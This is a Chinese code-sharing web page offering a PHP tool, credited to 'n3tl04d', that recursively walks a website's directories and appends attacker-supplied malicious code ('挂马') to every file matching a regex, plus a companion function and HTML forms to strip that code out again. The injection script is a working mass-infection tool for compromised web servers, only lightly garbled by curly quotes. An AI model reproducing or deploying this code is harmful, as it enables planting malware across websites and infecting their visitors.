微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

php下批量挂马和批量清马代码

<div class="codetitle"><a style="CURSOR: pointer" data="7793" class="copybut" id="copybut7793" onclick="doCopy('code7793')"> 代码如下:

<div class="codebody" id="code7793">
<?PHP
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”,“a”);
@fwrite($handle,“$mm”);
@fclose($handle);
echo “已挂马文件:$file\n
”; }
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”,“rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”,“wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n
”; }
}
}
$d->close();
echo ” “;
} if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
批量<a href="https://www.jb51.cc/tag/guama/" target="_blank" class="keywords">挂马</a>(清马)程序<a href="https://www.jb51.cc/tag/PHP/" target="_blank" class="keywords">PHP</a>版
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>

<tr>
网站批量挂马程序PHP
BY n3tl04d

<td> </tr>
<tr>
路径:</td>
(可填相对路径)
<td> </tr>
<tr>
挂马关键字:</td>
—–正则表达式匹配——
</td>
<td> </tr>
<tr>
想写入的挂马代码:</td>

<td> </tr>
<tr>




</td>
<td> </tr>
</table>

<form action=”<?$PHP_SELF?>?action=qm” method=”post”>

<tr>
批量清马工具PHP
BY 随风而去(LST)

<td> </tr>
<tr>
路径:</td>
(可填相对路径)
<td> </tr>
<tr>
清马关键字:</td>
—–正则表达式匹配——
</td>
<td> </tr>
<tr>
想清除的挂马代码:</td>

<td> </tr>
<tr>




</td>
<td> </tr>
</table>

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐